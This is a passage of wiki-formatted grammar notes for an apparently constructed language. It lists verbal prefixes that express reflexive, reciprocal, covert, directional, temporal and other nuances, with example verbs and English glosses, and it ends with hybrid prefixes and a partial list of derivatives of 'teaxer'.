::* '''texer'''....''to think''  → '''&lt;u&gt;oyv&lt;/u&gt;texer'''....''to contest, disagree''
::* '''per'''....''to go'' → '''&lt;u&gt;oyv&lt;/u&gt;per'''....''to contravene''
=== Expressing ''on behalf, for'' with '''av-''' ===
::* '''axler'''....''to act'' → '''&lt;u&gt;av&lt;/u&gt;axler'''....''to act on behalf of''
::* '''daler'''....''to speak'' → '''&lt;u&gt;av&lt;/u&gt;daler'''....''to advocate, speak on behalf of''
::* '''dyundrer'''....''to sign'' → '''&lt;u&gt;av&lt;/u&gt;dyundrer'''....''to endorse''

=== Making Verbs Reflexive with '''ut-''' (''self-, auto-'') ===
::* '''tojber'''....''to kill'' → '''&lt;u&gt;ut&lt;/u&gt;tojber'''....''to commit suicide''
::* '''vyovider'''....''to flatter'' → '''&lt;u&gt;ut&lt;/u&gt;vyovider'''....''to flatter oneself''
::* '''zaypuxwer'''....''to be propelled'' → '''&lt;u&gt;ut&lt;/u&gt;zaypuxwer'''....''to be self-propelled''
::* '''fider'''....''to praise'' → '''&lt;u&gt;ut&lt;/u&gt;fider'''....''to brag''
::* '''gober'''....''to decrement'' → '''&lt;u&gt;ut&lt;/u&gt;gober'''....''to autodecrement''
=== Making Verbs Reciprocal with '''hyuit-''' (''one another'') ===
::* '''tojber'''....''to kill'' → '''&lt;u&gt;hyuit&lt;/u&gt;tojber'''....''to kill one another''
::* '''ifer'''....''to love'' → '''&lt;u&gt;hyuit&lt;/u&gt;ifer'''....''to love one another''

=== Expressing ''inter-, intra-'' with '''eb-''' (''between'') or '''eyb-''' (''among'') ===
::* '''tadier'''....''to marry'' → '''&lt;u&gt;eb&lt;/u&gt;tadier'''....''to intermarry''
::* '''zyaber'''....''to spread'' → '''&lt;u&gt;eb&lt;/u&gt;zyaber'''....''to intersperse''
::* '''vyexer'''....''to relate'' → '''&lt;u&gt;eb&lt;/u&gt;vyexer'''....''to interrelate''
::* '''mulxer'''....''to materialize'' → '''&lt;u&gt;eyb&lt;/u&gt;mulxer'''....''to mix''
::* '''xer'''....''to do'' → '''&lt;u&gt;eyb&lt;/u&gt;xer'''....''to interest, to involve''

=== Expressing the Opposite of an Action with '''o-''' (''un-'') ===
::* '''bexler'''....''to keep'' → '''&lt;u&gt;o&lt;/u&gt;bexler'''....''to release, let go of''
::* '''aynser'''....''to integrate'' → '''&lt;u&gt;o&lt;/u&gt;aynser'''....''to disintegrate, to decay''
::* '''beler'''....''to carry'' → '''&lt;u&gt;o&lt;/u&gt;beler'''....''to drop''
::* '''bier'''....''to take'' → '''&lt;u&gt;o&lt;/u&gt;bier'''....''to leave, relinquish''
::* '''boser'''....''to be quiet'' → '''&lt;u&gt;o&lt;/u&gt;boser'''....''to be upset''
::* '''drer'''....''to write'' → '''&lt;u&gt;o&lt;/u&gt;drer'''....''to erase''

::&lt;small&gt;Note: If the base verb already begins with the negative prefix '''o-''', then the prefix is changed to '''ol-''', eg. '''obexler'''....''to release'' → '''&lt;u&gt;ol&lt;/u&gt;obexwa'''....''to unrelease''  &lt;/small&gt;

=== Expressing a Public or Official Action with '''do-''' ===
:: '''Do-''' is a stub for '''dot''' (''society'').

::* '''afder'''....''to allow'' → '''&lt;u&gt;do&lt;/u&gt;afder'''....''to authorize''
::* '''bier'''....''to take'' → '''&lt;u&gt;do&lt;/u&gt;bier'''....''to conquer, take over, take control of''
::* '''tojber'''....''to kill'' → '''&lt;u&gt;do&lt;/u&gt;tojber'''....''to execute''
::* '''buer'''....''to give'' → '''&lt;u&gt;do&lt;/u&gt;buer'''....''to dedicate''
::* '''daler'''....''to speak'' → '''&lt;u&gt;do&lt;/u&gt;daler'''....''to orate, speak in public''
::* '''deler'''....''to declare'' → '''&lt;u&gt;do&lt;/u&gt;deler'''....''to announce''
::* '''drer'''....''to write'' → '''&lt;u&gt;do&lt;/u&gt;drer'''....''to publicize, report''
::* '''direr'''....''to demand'' → '''&lt;u&gt;do&lt;/u&gt;direr'''....''to mandate, to dictate''
::* '''drer'''....''to write'' → '''&lt;u&gt;do&lt;/u&gt;drer'''....''to publicize''
::* '''drurer'''....''to print'' → '''&lt;u&gt;do&lt;/u&gt;drurer'''....''to publish''
::* '''duer'''....''to suggest'' → '''&lt;u&gt;do&lt;/u&gt;duer'''....''to propose, to move''
::* '''durer'''....''to order'' → '''&lt;u&gt;do&lt;/u&gt;durer'''....''to decree''
::* '''dyeder'''....''to recite'' → '''&lt;u&gt;do&lt;/u&gt;dyeder'''....''to declaim''
::* '''dyeer'''....''to read'' → '''&lt;u&gt;do&lt;/u&gt;dyeer'''....''to lecture''
::* '''ebdaler'''....''to discuss'' → '''&lt;u&gt;do&lt;/u&gt;ebdaler'''....''to deliberate''
::* '''eber'''....''to block'' → '''&lt;u&gt;do&lt;/u&gt;eber'''....''to enjoin, to restrain''
::* '''fuxer'''....''to do bad'' → '''&lt;u&gt;do&lt;/u&gt;fuxer'''....''to commit a crime''
::* '''kebier'''....''to choose'' → '''&lt;u&gt;do&lt;/u&gt;kebier'''....''to elect''
::* '''lonapxer'''....''to mess up'' → '''&lt;u&gt;do&lt;/u&gt;lonapxer'''....''to riot''
::* '''naxgaxer'''....''to raise prices'' → '''&lt;u&gt;do&lt;/u&gt;naxgaxer'''....''to auction off''
::* '''nixbuer'''....''to sell'' → '''&lt;u&gt;do&lt;/u&gt;nixbuer'''....''to hawk''

=== Giving Verbs a Nuance of Truth with '''vya-''' ===
::* '''der'''....''to say'' → '''&lt;u&gt;vya&lt;/u&gt;der'''....''to avow, to be frank''
::* '''ber'''....''to set, put'' → '''&lt;u&gt;vya&lt;/u&gt;ber'''....''to control''
::* '''bier'''....''to take'' → '''&lt;u&gt;vya&lt;/u&gt;bier'''....''to postulate''
::* '''boler'''....''to support'' → '''&lt;u&gt;vya&lt;/u&gt;boler'''....''to prove''
::* '''duder'''....''to answer'' → '''&lt;u&gt;vya&lt;/u&gt;duder'''....''to solve''
::* '''duer'''....''to suggest'' → '''&lt;u&gt;vya&lt;/u&gt;duer'''....''to allege''
::* '''nadxer'''....''to line up'' → '''&lt;u&gt;vya&lt;/u&gt;nadxer'''....''to align''
::* '''nagxer'''....''to measure'' → '''&lt;u&gt;vya&lt;/u&gt;nagxer'''....''to fit''
::* '''napxer'''....''to arrange, order'' → '''&lt;u&gt;vya&lt;/u&gt;napxer'''....''to adjust''
::* '''nazaxer'''....''to evaluate'' → '''&lt;u&gt;vya&lt;/u&gt;nazaxer'''....''to corroborate''
::* '''kexer'''....''to seek'' → '''&lt;u&gt;vya&lt;/u&gt;kexer'''....''to investigate''
::* '''tuer'''....''to inform'' → '''&lt;u&gt;vya&lt;/u&gt;tuer'''....''to advise''

=== Giving Verbs of Nuance of Falseness with '''vyo-''' ===
::* '''der'''....''to say'' → '''&lt;u&gt;vyo&lt;/u&gt;der'''....''to lie, to misstate''
::* '''tester'''....''to understand'' → '''&lt;u&gt;vyo&lt;/u&gt;tester'''....''to misunderstand''
::* '''tuer'''....''to inform'' → '''&lt;u&gt;vyo&lt;/u&gt;tuer'''....''to misinform, to deceive''
::* '''xer'''....''to do'' → '''&lt;u&gt;vyo&lt;/u&gt;xer'''....''to do wrong, fail, misdo''
::* '''yuxler'''....''to serve'' → '''&lt;u&gt;vyo&lt;/u&gt;yuxler'''....''to betray, to serve unfaithfully''
=== Making Verbs Positive with '''va-''' ===
::* '''der'''....''to say'' → '''&lt;u&gt;va&lt;/u&gt;der'''....''to affirm''
::* '''texer'''....''to think'' → '''&lt;u&gt;va&lt;/u&gt;texer'''....''to believe''
::* '''yeker'''....''to expect'' → '''&lt;u&gt;va&lt;/u&gt;yeker'''....''to presume''
::* '''bier'''.....''to take'' → '''&lt;u&gt;va&lt;/u&gt;bier'''....''to accept''
=== Making Verbs Negative with '''vo-''' ===
::* '''der'''....''to say'' → '''&lt;u&gt;vo&lt;/u&gt;der'''....''to deny''
::* '''texer'''....''to think'' → '''&lt;u&gt;vo&lt;/u&gt;texer'''....''to doubt''
::* '''yeker'''....''to expect'' → '''&lt;u&gt;vo&lt;/u&gt;yeker'''....''to rule out''
::* '''bier'''.....''to take'' → '''&lt;u&gt;vo&lt;/u&gt;bier'''....''to reject''
=== Making Verbs Suppositional with '''ve-''' ===
::* '''der'''....''to say'' → '''&lt;u&gt;ve&lt;/u&gt;der'''....''to conjecture''
::* '''texer'''....''to think'' → '''&lt;u&gt;ve&lt;/u&gt;texer'''....''to suppose, hypothesize''
::* '''yovder'''....''to blame'' → '''&lt;u&gt;ve&lt;/u&gt;yovder'''....''to indict, accuse''
=== Speeding up Verbs with '''ig-''' ===
::* '''pier'''....''to leave'' → '''&lt;u&gt;ig&lt;/u&gt;pier'''....''to flee''
::* '''pyoser'''....''to drop'' → '''&lt;u&gt;ig&lt;/u&gt;pyoser'''....''to plummet''
::* '''tyoper'''....''to walk'' → '''&lt;u&gt;ig&lt;/u&gt;tyoper'''....''to run''
::* '''yeper'''....''to enter'' → '''&lt;u&gt;ig&lt;/u&gt;yeper'''....''to rush in''
=== Slowing up Verbs with '''ug-''' ===
::* '''paser'''....''to move'' → '''&lt;u&gt;ug&lt;/u&gt;paser'''....''to amble''
::* '''teaxer'''....''to look'' → '''&lt;u&gt;ug&lt;/u&gt;teaxer'''....''to gaze''
::* '''ilper'''....''to flow'' → '''&lt;u&gt;ug&lt;/u&gt;ilper'''....''to trickle''
::* '''tilier'''....''to drink'' → '''&lt;u&gt;ug&lt;/u&gt;tilier'''....''to sip''
=== Expressing the Nuance of Suddenness with '''yok-''' ===
::* '''baxer'''....''to stir'' → '''&lt;u&gt;yok&lt;/u&gt;baxer'''....''to startle''
::* '''hihider'''....''to laugh'' → '''&lt;u&gt;yok&lt;/u&gt;hihider'''....''to burst out laughing''
::* '''teaser'''....''to appear'' → '''&lt;u&gt;yok&lt;/u&gt;teaser'''....''to suddenly appear''
::* '''yoktojer'''....''to die'' → '''&lt;u&gt;yok&lt;/u&gt;tojer'''....''to drop dead''
=== Expressing the Notion of Fixedness with '''kyo-''' ===
::* '''byaser'''....''to stand'' → '''&lt;u&gt;kyo&lt;/u&gt;byaser'''....''to stand still''
::* '''kexer'''....''to seek'' → '''&lt;u&gt;kyo&lt;/u&gt;kexer'''....''to hound, stalk''
::* '''teaxer'''....''to look'' → '''&lt;u&gt;kyo&lt;/u&gt;teaxer'''....''to stare, glare''
::* '''texer'''....''to think'' → '''&lt;u&gt;kyo&lt;/u&gt;texer'''....''to obsess with, fixate on''
=== Expression the Notion of Randomness or Chance with '''kye-'''===
::* '''der'''....''to say'' → '''&lt;u&gt;kye&lt;/u&gt;der'''....''to guess, divine''
::* '''per'''....''to per'' → '''&lt;u&gt;kye&lt;/u&gt;per'''....''to fluctuate''
::* '''poper'''....''to travel'' → '''&lt;u&gt;kye&lt;/u&gt;poper'''....''to wander''
::* '''napxer'''....''to order'' → '''&lt;u&gt;kye&lt;/u&gt;napxer'''....''to scramble, shuffle''
::* '''bier'''....''to take'' → '''&lt;u&gt;kye&lt;/u&gt;bier'''....''to select''
::* '''kaxer'''....''to find'' → '''&lt;u&gt;kye&lt;/u&gt;kaxer'''....''to discover, to find by chance''
::* '''vyabxer'''....''to check'' → '''&lt;u&gt;kye&lt;/u&gt;vabxer'''....''to spot check''

=== Expressing the Notion of Change with '''kya-''' ===
::* '''baser'''....''to make a move'' → '''&lt;u&gt;kya&lt;/u&gt;baser'''....''to shift''
::* '''sanxer'''....''to form'' → '''&lt;u&gt;kya&lt;/u&gt;sanxer'''....''to transform''
::* '''xer'''....''to do/make'' → '''&lt;u&gt;kya&lt;/u&gt;xer'''....''to change''
::* '''napxer'''....''to order'' → '''&lt;u&gt;kya&lt;/u&gt;napxer'''....''to shuffle''
::* '''dyanxer'''....''to phrase'' → '''&lt;u&gt;kya&lt;/u&gt;dyanxer'''....''to paraphrase''
=== Expressing Covert Actions with '''ko-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;ko&lt;/u&gt;ber'''....''to hide''
::* '''beler'''....''to carry'' → '''&lt;u&gt;ko&lt;/u&gt;beler'''....''to smuggle''
::* '''bier'''....''to take'' → '''&lt;u&gt;ko&lt;/u&gt;bier'''....''to steal''
::* '''ebkyaxer'''....''to exchange'' → '''&lt;u&gt;ko&lt;/u&gt;ebkyaxer'''....''to traffic''
::* '''exer'''....''to operate'' → '''&lt;u&gt;ko&lt;/u&gt;exer'''....''to spy, operate under cover''
::* '''fler'''....''to wish for'' → '''&lt;u&gt;ko&lt;/u&gt;fler'''....''to covet, be jealous of''
::* '''apyexer'''....''to attack'' → '''&lt;u&gt;ko&lt;/u&gt;apyexer'''....''to ambush, to sneak-attack''
::* '''loexer'''....''to destroy'' → '''&lt;u&gt;ko&lt;/u&gt;loexer'''....''to sabotage''
=== Expressing Actions with Intentionality with '''ke-''' ===
::* '''teaxer'''....''to look'' → '''&lt;u&gt;ke&lt;/u&gt;teaxer'''....''to scan''
::* '''vyaxer'''....''to prove'' → '''&lt;u&gt;ke&lt;/u&gt;vyaxer'''....''to experiment''
::* '''tier'''....''to learn'' → '''&lt;u&gt;ke&lt;/u&gt;tier'''....''to be interested in''
::* '''bier'''....''to take'' → '''&lt;u&gt;ke&lt;/u&gt;bier'''....''to choose''
::* '''pexer'''....''to catch'' → '''&lt;u&gt;ke&lt;/u&gt;pexer'''....''to hunt''

=== Expressing Lateral Actions with '''ku-''' ===
::* '''buxer'''....''to push'' → '''&lt;u&gt;ku&lt;/u&gt;buxer'''....''to rebuff, shun''
::* '''der'''....''to say'' → '''&lt;u&gt;ku&lt;/u&gt;der'''....''to comment, remark''
::* '''tyoper'''....''to step'' → '''&lt;u&gt;ku&lt;/u&gt;tyoper'''....''to step aside''
=== Expressing Diagonal Actions with '''ki-''' ===
::* '''teaxer'''....''to look'' → '''&lt;u&gt;ki&lt;/u&gt;teaxer'''....''to look askance at''
::* '''tuxer'''....''to teach'' → '''&lt;u&gt;ki&lt;/u&gt;tuxer'''....''to brainwash''
::* '''tyoper'''....''to walk'' → '''&lt;u&gt;ki&lt;/u&gt;tyoper'''....''to limp''
::* '''pyoser'''....''to fall'' → '''&lt;u&gt;ki&lt;/u&gt;pyoser'''....''to slip and fall''
::* '''per'''....''to go'' → '''&lt;u&gt;ki&lt;/u&gt;per'''....''to slide''

=== Expressing Near Actions with '''yub-'''===
::* '''der'''....''to say'' → '''&lt;u&gt;yub&lt;/u&gt;der'''....''to intimate, hint''
::* '''gexer'''....''to equate'' → '''&lt;u&gt;yub&lt;/u&gt;gexer'''....''to approximate''
::* '''bixer'''....''to pull'' → '''&lt;u&gt;yu(b)&lt;/u&gt;bixer'''....''to attract, draw near''
::* '''teaxer'''....''to look'' → '''&lt;u&gt;yub&lt;/u&gt;teaxer'''....''to scrutinize, examine''

=== Expressing Distance Actions with '''yib-''' (''far, tele-'') ===
::* '''drer'''....''to write'' → '''&lt;u&gt;yib&lt;/u&gt;drer'''....''to wire, telegraph''
::* '''bixer'''....''to pull'' → '''&lt;u&gt;yi(b)&lt;/u&gt;bixer'''....''to distract''
::* '''tuier'''....''to communicate'' → '''&lt;u&gt;yib&lt;/u&gt;tuier'''....''to telecommunicate''
::* '''nyuxer'''....''to deliver'' → '''&lt;u&gt;yib&lt;/u&gt;nyuxer'''....''to mail, post''

=== Expressing ''up-, super-'' with '''yab-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;ya(b)&lt;/u&gt;ber'''....''to raise, to put up''
::* '''bixler'''....''to drag'' → '''&lt;u&gt;ya(b)&lt;/u&gt;bixler'''....''to dredge up''
::* '''uper'''....''to come'' → '''&lt;u&gt;yab&lt;/u&gt;uper'''....''to come up''
::* '''nogyanxer'''....''to scale'' → '''&lt;u&gt;yab&lt;/u&gt;nogyanxer'''....''to scale up, escalate''

=== Expressing ''down-, sub-'' with '''yob-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;yo(b)&lt;/u&gt;ber'''....''to lower, put down''
::* '''kyaber'''....''to shift'' → '''&lt;u&gt;yob&lt;/u&gt;kyaxer'''....''to downshift''
::* '''musper'''....''to climb'' → '''&lt;u&gt;yob&lt;/u&gt;musper'''....''to climb down''
::* '''nogyanxer'''....''to scale'' → '''&lt;u&gt;yob&lt;/u&gt;nogyanxer'''....''to downscale''

=== Expressing ''in-'' with '''yeb-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;ye(b)&lt;/u&gt;ber'''....''to insert, put in''
::* '''beler'''....''to carry'' → '''&lt;u&gt;ye(b)&lt;/u&gt;beler'''....''to import''
::* '''uzber'''....''to bend'' → '''&lt;u&gt;yeb&lt;/u&gt;uzber'''....''to inflect''
::* '''yujber'''....''to close'' → '''&lt;u&gt;yeb&lt;/u&gt;yujber'''....''to enclose, include''

=== Expressing ''out-, ex-, extra-'' with '''oyeb-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;oye&lt;/u&gt;ber'''....''to put out, expose''
::* '''beler'''....''to carry'' → '''&lt;u&gt;oye&lt;/u&gt;beler'''....''to export''
::* '''uber'''....''to send'' → '''&lt;u&gt;oyeb&lt;/u&gt;uber'''....''to emit, send out''
::* '''yujber'''....''to close'' → '''&lt;u&gt;oyeb&lt;/u&gt;yujber'''....''to exclude''

=== Expressing ''pro-, forward'' with '''zay-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;zay&lt;/u&gt;ber'''....''to advance, put forward''
::* '''kexer'''....''to seek'' → '''&lt;u&gt;zay&lt;/u&gt;kexer'''....''to scout out''
::* '''puxer'''....''to throw'' → '''&lt;u&gt;zay&lt;/u&gt;puxer'''....''to propel, thrust''
::* '''tyoper'''....''to walk'' → '''&lt;u&gt;zay&lt;/u&gt;tyoper'''....''to progress, to walk forward''

=== Expressing ''back-, retro-, re-'' with '''zoy-''' ===
::* '''uber'''....''to send'' → '''&lt;u&gt;zoy&lt;/u&gt;ber'''....''to send back''
::* '''kixer'''....''to bend'' → '''&lt;u&gt;zoy&lt;/u&gt;kixer'''....''to reflect''
::* '''puxer'''....''to throw'' → '''&lt;u&gt;zoy&lt;/u&gt;puxer'''....''to repel''
::* '''neadper'''....''to track'' → '''&lt;u&gt;zoy&lt;/u&gt;neadper'''....''to backtrack''

=== Expressing ''across, trans-, over-, cross-'' with '''zey-''' ===
::* '''per'''....''to go'' → '''&lt;u&gt;zey&lt;/u&gt;per'''....''to cross, transit''
::* '''beler'''....''to carry'' → '''&lt;u&gt;zey&lt;/u&gt;beler'''....''to transport, convey''
::* '''drer'''....''to write'' → '''&lt;u&gt;zey&lt;/u&gt;drer'''....''to transcribe''
::* '''kyober'''....''to fix'' → '''&lt;u&gt;zey&lt;/u&gt;kyober'''....''to transfix, transplant''
::* '''vyayeker'''....''to check'' → '''&lt;u&gt;zey&lt;/u&gt;vyayeker'''....''to crosscheck''

=== Expressing ''through, per-'' with '''zye-''' ===
::* '''per'''....''to go'' → '''&lt;u&gt;zye&lt;/u&gt;per'''....''to permeate, get through''
::* '''kexer'''....''to seek'' → '''&lt;u&gt;zye&lt;/u&gt;kexer'''....''to rummage, sift through''
::* '''drer'''....''to write'' → '''&lt;u&gt;zye&lt;/u&gt;drer'''....''to cross out, draw a line through''
::* '''iluer'''....''to pour'' → '''&lt;u&gt;zye&lt;/u&gt;iluer'''....''to soak''
::* '''koper'''....''to sneak'' → '''&lt;u&gt;zye&lt;/u&gt;koper'''....''to sneak through''
=== Expressing ''all over, widely, all about'' with '''zya-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;zya&lt;/u&gt;ber'''....''to spread''
::* '''buer'''....''to give'' → '''&lt;u&gt;zya&lt;/u&gt;buer'''....''to distribute''
::* '''ijber'''....''to open'' → '''&lt;u&gt;zya&lt;/u&gt;ijber'''....''to open wide''
::* '''nuxer'''....''to pay'' → '''&lt;u&gt;zya&lt;/u&gt;nuxer'''....''to disburse''
::* '''puxer'''....''to throw'' → '''&lt;u&gt;zya&lt;/u&gt;puxer'''....''to scatter, cast about''

=== Expressing ''mid-, center'' with '''ze-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;ze&lt;/u&gt;ber'''....''to balance''
::* '''byaser'''....''to stand'' → '''&lt;u&gt;ze&lt;/u&gt;byaser'''....''to straddle''
::* '''der'''....''to say'' → '''&lt;u&gt;ze&lt;/u&gt;der'''....''to interject''
::* '''pyoser'''....''to fall'' → '''&lt;u&gt;ze&lt;/u&gt;pyoser'''....''to sag''
::* '''poxer'''....''to stop'' → '''&lt;u&gt;ze&lt;/u&gt;poxer'''....''to interrupt''
=== Expressing ''futurity'' with '''oj-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;oj&lt;/u&gt;ber'''....''to put off, postpone''
::* '''bier'''....''to take'' → '''&lt;u&gt;oj&lt;/u&gt;bier'''....''to borrow''
::* '''fer'''....''to want'' → '''&lt;u&gt;oj&lt;/u&gt;fer'''....''to wish, aspire''
::* '''texer'''....''to think'' → '''&lt;u&gt;oj&lt;/u&gt;texer'''....''to plan''
::* '''teater'''....''to see'' → '''&lt;u&gt;oj&lt;/u&gt;teater'''....''to envision''
::* '''vader'''....''to affirm'' → '''&lt;u&gt;oj&lt;/u&gt;vader'''....''to promise''
=== Expressing ''past'' with '''aj-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;aj&lt;/u&gt;ber'''....''to pass, relegate to the past''
::* '''der'''....''to say'' → '''&lt;u&gt;aj&lt;/u&gt;der'''....''to evoke, hearken, recount''
::* '''embier'''....''to occupy'' → '''&lt;u&gt;aj&lt;/u&gt;embier'''....''to haunt''
::* '''texer'''....''to think'' → '''&lt;u&gt;aj&lt;/u&gt;texer'''....''to reminisce, to reflect''
::* '''uvtosder'''....''to express sadness'' → '''&lt;u&gt;aj&lt;/u&gt;uvtosder'''....''to apologize''
::* '''nexer'''....''to store'' → '''&lt;u&gt;aj&lt;/u&gt;nexer'''....''to archive''
=== Expressing ''present'' with '''ej-''' ===
::* '''buer'''....''to give'' → '''&lt;u&gt;ej&lt;/u&gt;buer'''....''to present''
::* '''eser'''....''to exist'' → '''&lt;u&gt;ej&lt;/u&gt;eser'''....''to attend, to be present''
::* '''nuxer'''....''to pay'' → '''&lt;u&gt;ej&lt;/u&gt;nuxer'''....''to pay cash''
::* '''tuer'''....''to inform'' → '''&lt;u&gt;ej&lt;/u&gt;tuer'''....''to update''
::* '''uvtosder'''....''to express sadness'' → '''&lt;u&gt;ej&lt;/u&gt;uvtosder'''....''to apologize''
=== Expressing a stretched out action with '''yag-''' (''long'') ===
::* '''beser'''....''to stay'' → '''&lt;u&gt;yag&lt;/u&gt;beser'''....''to linger''
::* '''bexer'''....''to hold'' → '''&lt;u&gt;yag&lt;/u&gt;bexer'''....''to conserve, preserve''
::* '''daler'''....''to talk'' → '''&lt;u&gt;yag&lt;/u&gt;daler'''....''to ramble''
::* '''dodaler'''....''to orate'' → '''&lt;u&gt;yag&lt;/u&gt;dodaler'''....''to harangue''
::* '''fer'''....''to want'' → '''&lt;u&gt;yag&lt;/u&gt;fer'''....''to yearn, pine''
::* '''teaxer'''....''to look'' → '''&lt;u&gt;yag&lt;/u&gt;teaxer'''....''to stare''
::* '''fer'''....''to want'' → '''&lt;u&gt;yag&lt;/u&gt;fer'''....''to yearn, pine''
=== Expressing a brief action with '''yog-''' (''short'') ===
::* '''drer'''....''to write'' → '''&lt;u&gt;yog&lt;/u&gt;drer'''....''to abbreviate''
::* '''teaxer'''....''to look'' → '''&lt;u&gt;yog&lt;/u&gt;teaxer'''....''to glance at''
::* '''tujer'''....''to sleep'' → '''&lt;u&gt;yog&lt;/u&gt;tujer'''....''to snooze, nap''
::* '''gobler'''....''to cut'' → '''&lt;u&gt;yog&lt;/u&gt;gobler'''....''to cut short, truncate''

=== Some Hybrid Prefixes ===
The prefix '''kui-''' is a hybrid of '''ku-''' (''lateral'') and '''ki-''' (''diagonal'')

::* '''per'''....''to go'' → '''&lt;u&gt;kui&lt;/u&gt;per'''....''to wobble''
::* '''tyoper'''....''to walk'' → '''&lt;u&gt;kui&lt;/u&gt;tyoper'''....''to limp''

The prefix '''zao-''' is a truncated hybrid of '''zay-''' (''forward'') and '''zoy-''' (''backwards''), eg:

::* '''baser'''....''to move'' → '''&lt;u&gt;zao&lt;/u&gt;baser'''....''to rock''
::* '''per'''....''to go'' → '''&lt;u&gt;zao&lt;/u&gt;per'''....''to alternate''
::* '''beler'''....''to carry'' → '''&lt;u&gt;kui&lt;/u&gt;beler'''....''to shuttle, ferry''
::* '''pyoser'''....''to fall'' → '''&lt;u&gt;kui&lt;/u&gt;pyoser'''....''to pendulate''

The prefix '''yaob-''' is a hybrid of '''yab-''' (''up'') and '''yob-''' (''down'').  The final '''b-''' is assimilated or dropped before a '''b''' or '''p'''.

::* '''baser'''....''to move'' → '''&lt;u&gt;yao&lt;/u&gt;baser'''....''to bob''
::* '''per'''....''to go'' → '''&lt;u&gt;yao&lt;/u&gt;per'''....''to heave''
::* '''beler'''....''to carry'' → '''&lt;u&gt;yao&lt;/u&gt;beler'''....''to shuttle, ferry''
::* '''peper'''....''to ride'' → '''&lt;u&gt;yao&lt;/u&gt;peper'''....''to jounce''
::* '''puser'''....''to jump'' → '''&lt;u&gt;yao&lt;/u&gt;puser'''....''to hop, bounce''

The prefix '''bui-''' is a hybrid of '''bu-''' (''to'') and '''bi-''' (''from''), eg:

::* '''drer'''....''to write'' → '''&lt;u&gt;bui&lt;/u&gt;drer'''....''to correspond''
::* '''-er'''....''to x'' → '''&lt;u&gt;bui&lt;/u&gt;er'''....''to trade''
::* '''beler'''....''to carry'' → '''&lt;u&gt;bui&lt;/u&gt;beler'''....''to shuttle, ferry''
::* '''xer'''....''to do'' → '''&lt;u&gt;bui&lt;/u&gt;xer'''....''to push and pull, spring''
::* '''poper'''....''to travel'' → '''&lt;u&gt;bui&lt;/u&gt;poper'''....''to travel to and fro, travel round trip''

The prefix '''uiz-''' is a hybrid of '''uz-''' (''crooked'') and '''iz-''' (''straight''), eg:

::* '''drer'''....''to write'' → '''&lt;u&gt;uiz&lt;/u&gt;drer'''....''to squiggle''
::* '''der'''....''to say'' → '''&lt;u&gt;uiz&lt;/u&gt;der'''....''to equivocate''
::* '''baser'''....''to move'' → '''&lt;u&gt;uiz&lt;/u&gt;baser'''....''to wiggle, to squirm''
::* '''per'''....''to go'' → '''&lt;u&gt;uiz&lt;/u&gt;per'''....''to careen, reel''
::* '''paser'''....''to move'' → '''&lt;u&gt;uiz&lt;/u&gt;paser'''....''to swerve, yaw''

The prefix '''zui-''' is a hybrid of '''zu-''' (''left'') and '''zi-''' (''right''), eg:

::* '''drer'''....''to write'' → '''&lt;u&gt;uiz&lt;/u&gt;drer'''....''to squiggle''
::* '''buxer'''....''to push'' → '''&lt;u&gt;zui&lt;/u&gt;buxer'''....''to push around''
::* '''baser'''....''to move'' → '''&lt;u&gt;zui&lt;/u&gt;baser'''....''to sway, totter''
::* '''per'''....''to go'' → '''&lt;u&gt;zui&lt;/u&gt;per'''....''to zigzag''
::* '''pasler'''....''to shake'' → '''&lt;u&gt;zui&lt;/u&gt;pasler'''....''to wobble''

The prefix '''aoyeb-''' is a hybrid of '''(a)yeb-''' (''in'') and '''oyeb-''' (''out''), eg:

::* '''ber'''....''to put'' → '''&lt;u&gt;aoye&lt;/u&gt;ber'''....''to insert and extract''
::* '''tiexer'''....''to breathe'' → '''&lt;u&gt;aoye&lt;/u&gt;tiexer'''....''to breath in and out''
::* '''paper'''....''to fly'' → '''&lt;u&gt;aoye&lt;/u&gt;paper'''....''to fly in and out''

The prefix '''aob-''' is a hybrid of '''ab-''' (''on'') and '''ob-''' (''off''), eg:

::* '''ber'''....''to put'' → '''&lt;u&gt;ao&lt;/u&gt;ber'''....''to put on and off''
::* '''per'''....''to go'' → '''&lt;u&gt;ao&lt;/u&gt;per'''....''to get on and off, embark and disembark''

The prefix '''vao-''' is a hybrid of '''va-''' (''yes'') and '''vo-''' (''no''), eg:

::* '''der'''....''to say'' → '''&lt;u&gt;vao&lt;/u&gt;der'''....''to decide''
::* '''daler'''....''to talk'' → '''&lt;u&gt;vao&lt;/u&gt;daler'''....''to waffle''
::* '''duder'''....''to answer'' → '''&lt;u&gt;vao&lt;/u&gt;duder'''....''to answer yes or no''
::* '''kyaxer'''....''to change'' → '''&lt;u&gt;vao&lt;/u&gt;kyaxer'''....''to redact''
::* '''texer'''....''to think'' → '''&lt;u&gt;vao&lt;/u&gt;texer'''....''to deliberate, vacillate''

The prefix '''uij''' is a hybrid of '''uj-''' (''end'') and '''ij-''' (''begin'')

::* '''ber'''....''to put'' → '''&lt;u&gt;uij&lt;/u&gt;ber'''....''to switch off and on''
::* '''daler'''....''to talk'' → '''&lt;u&gt;uij&lt;/u&gt;daler'''....''to stutter''

The prefix '''yuij''' is a hybrid of '''yuj-''' (''close'') and '''yij-''' (''open'')

::* '''ber'''....''to put'' → '''&lt;u&gt;yuij&lt;/u&gt;ber'''....''to open and close, blink''

The prefix '''huim''' is a hybrid of '''hum''' (''there'') and '''him''' (''there'')

::* '''paper'''....''to fly'' → '''&lt;u&gt;huim&lt;/u&gt;paper'''....''to fly here and yon''
::* '''per'''....''to go'' → '''&lt;u&gt;huim&lt;/u&gt;per'''....''to wander''
::* '''kexer'''....''to seek'' → '''&lt;u&gt;huim&lt;/u&gt;kexer'''....''to search high and low''

=== Different Nuances of '''teaxer''' with Prefixes ===
&lt;div style=&quot;background: lightyellow;{{Text default color}}; border: solid blue 2px; {{column-count|3}};{{column-rule|2px solid blue}};font-size:smaller;&quot;;&gt;
::* '''teaxer'''....''to look, behold, regard''
::* '''aybteaxer'''....''to supervise, look over''
::* '''ajteaxer'''....''to look back on (retrospect)''
::* '''eynteaxer'''....''to squint''
::* '''fizteaxer'''....''to respect''
